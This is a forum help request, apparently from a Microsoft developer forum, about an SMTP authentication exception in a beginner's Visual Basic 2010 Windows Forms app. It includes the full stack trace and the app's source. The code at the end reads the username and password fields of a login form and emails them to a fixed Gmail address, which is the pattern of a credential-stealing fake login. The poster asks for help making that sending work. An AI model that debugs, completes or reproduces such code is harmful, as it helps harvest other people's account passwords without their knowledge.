Microsoft.Net Framework Unhandled Exception

EDN Admin

Well-known member
Joined
Aug 7, 2010
Messages
12,794
Location
In the Machine
Hello people, Im having a problem with rather visual studio basic 2010 or microsoft .NET Framework<br/>
<br/>
After making a simple Windows application form in visual studio, when i try and run the application a Microsoft .NET Framework window pops up saying "Unhandled exeption has occured in your application. If you click Continue, the application will ignore this
error and attempt to continue. If you click Quit, the application will close immediately."<br/>
<br/>
Underneath that it says<br/>
<br/>
"The SMTP server requires a secure connection or the clent was not authenticated. The server response was 5.5.1 Authentication Required."<br/>
<br/>
Then when i press details it says the following:<br/>
<br/>
<br/>
See the end of this message for details on invoking <br/>
just-in-time (JIT) debugging instead of this dialog box.<br/>
<br/>
************** Exception Text **************<br/>
System.Net.Mail.SmtpException: The SMTP server requires a secure connection or the client was not authenticated. The server response was: 5.5.1 Authentication Required. Learn more at<br/>
at System.Net.Mail.MailCommand.CheckResponse(SmtpStatusCode statusCode, String response)<br/>
at System.Net.Mail.MailCommand.Send(SmtpConnection conn, Byte[] command, String from)<br/>
at System.Net.Mail.SmtpTransport.SendMail(MailAddress sender, MailAddressCollection recipients, String deliveryNotify, SmtpFailedRecipientException& exception)<br/>
at System.Net.Mail.SmtpClient.Send(MailMessage message)<br/>
at WindowsApplication1.Form1.Form1_Load(Object sender, EventArgs e) in C:UsersMYUSERNAMEAppDataLocalTemporary ProjectsWindowsApplication1Windows Form.vb:line 13<br/>
at System.EventHandler.Invoke(Object sender, EventArgs e)<br/>
at System.Windows.Forms.Form.OnLoad(EventArgs e)<br/>
at System.Windows.Forms.Form.OnCreateControl()<br/>
at System.Windows.Forms.Control.CreateControl(Boolean fIgnoreVisible)<br/>
at System.Windows.Forms.Control.CreateControl()<br/>
at System.Windows.Forms.Control.WmShowWindow(Message& m)<br/>
at System.Windows.Forms.Control.WndProc(Message& m)<br/>
at System.Windows.Forms.ScrollableControl.WndProc(Message& m)<br/>
at System.Windows.Forms.Form.WmShowWindow(Message& m)<br/>
at System.Windows.Forms.Form.WndProc(Message& m)<br/>
at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)<br/>
at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)<br/>
at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)<br/>
<br/>
<br/>
************** Loaded Assemblies **************<br/>
mscorlib<br/>
Assembly Version: 4.0.0.0<br/>
Win32 Version: 4.0.30319.296 (RTMGDR.030319-2900)<br/>
CodeBase: file:///C:/Windows/Microsoft.NET/Framework/v4.0.30319/mscorlib.dll<br/>
----------------------------------------<br/>
Windows Form<br/>
Assembly Version: 1.0.0.0<br/>
Win32 Version: 1.0.0.0<br/>
CodeBase: file:///C:/Users/MYUSERNAME/Documents/Visual%20Studio%202010/Projects/Name%20Name%20Name%20Name/Name%20Name%20Name%20Name/bin/Debug/Name%20Name%20Name%20Name.exe<br/>
----------------------------------------<br/>
Microsoft.VisualBasic<br/>
Assembly Version: 10.0.0.0<br/>
Win32 Version: 10.0.30319.1 built by: RTMRel<br/>
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/Microsoft.VisualBasic/v4.0_10.0.0.0__b03f5f7f11d50a3a/Microsoft.VisualBasic.dll<br/>
----------------------------------------<br/>
System<br/>
Assembly Version: 4.0.0.0<br/>
Win32 Version: 4.0.30319.296 built by: RTMGDR<br/>
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System/v4.0_4.0.0.0__b77a5c561934e089/System.dll<br/>
----------------------------------------<br/>
System.Core<br/>
Assembly Version: 4.0.0.0<br/>
Win32 Version: 4.0.30319.233 built by: RTMGDR<br/>
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Core/v4.0_4.0.0.0__b77a5c561934e089/System.Core.dll<br/>
----------------------------------------<br/>
System.Windows.Forms<br/>
Assembly Version: 4.0.0.0<br/>
Win32 Version: 4.0.30319.278 built by: RTMGDR<br/>
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Windows.Forms/v4.0_4.0.0.0__b77a5c561934e089/System.Windows.Forms.dll<br/>
----------------------------------------<br/>
System.Drawing<br/>
Assembly Version: 4.0.0.0<br/>
Win32 Version: 4.0.30319.282 built by: RTMGDR<br/>
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Drawing/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll<br/>
----------------------------------------<br/>
System.Runtime.Remoting<br/>
Assembly Version: 4.0.0.0<br/>
Win32 Version: 4.0.30319.1 (RTMRel.030319-0100)<br/>
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Runtime.Remoting/v4.0_4.0.0.0__b77a5c561934e089/System.Runtime.Remoting.dll<br/>
----------------------------------------<br/>
System.Configuration<br/>
Assembly Version: 4.0.0.0<br/>
Win32 Version: 4.0.30319.1 (RTMRel.030319-0100)<br/>
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Configuration/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.Configuration.dll<br/>
----------------------------------------<br/>
System.Xml<br/>
Assembly Version: 4.0.0.0<br/>
Win32 Version: 4.0.30319.233 built by: RTMGDR<br/>
CodeBase: file:///C:/Windows/Microsoft.Net/assembly/GAC_MSIL/System.Xml/v4.0_4.0.0.0__b77a5c561934e089/System.Xml.dll<br/>
----------------------------------------<br/>
<br/>
************** JIT Debugging **************<br/>
To enable just-in-time (JIT) debugging, the .config file for this<br/>
application or computer (machine.config) must have the<br/>
jitDebugging value set in the system.windows.forms section.<br/>
The application must also be compiled with debugging<br/>
enabled.<br/>
<br/>
For example:<br/>
<br/>
<configuration><br/>
<system.windows.forms jitDebugging="true" /><br/>
</configuration><br/>
<br/>
When JIT debugging is enabled, any unhandled exception<br/>
will be sent to the JIT debugger registered on the computer<br/>
rather than be handled by this dialog box.<br/>
<br/>
If anyone could help solve this issue I would be very grateful, Also its a fresh operating system only put it on yesterday and everything is up to date.
<br/>
(I think)

also here is the code, its just a simple one, as i am new using VB<br/>

The Code:::
Imports System.Net.Mail<br/>
Public Class Form1<br/>
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load<br/>
Dim mymailmessage As New MailMessage()<br/>
mymailmessage.From = New MailAddress("email@gmail.com")<br/>
mymailmessage.To.Add("email@gmail.com")<br/>
mymailmessage.Subject = ("account - " & Txtusername.Text)<br/>
mymailmessage.Body = ("username - " & Txtusername.Text & " | password - " & Txtpassword.Text)<br/>
Dim smtpserver As New SmtpClient("smtp.gmail.com")<br/>
smtpserver.Port = 587<br/>
smtpserver.Credentials = New System.Net.NetworkCredential("email@gmail.com", "PPPP")<br/>
smtpserver.EnableSsl = True<br/>
smtpserver.Send(mymailmessage)<br/>
End Sub<br/>
End Class



View the full article
 
Back
Top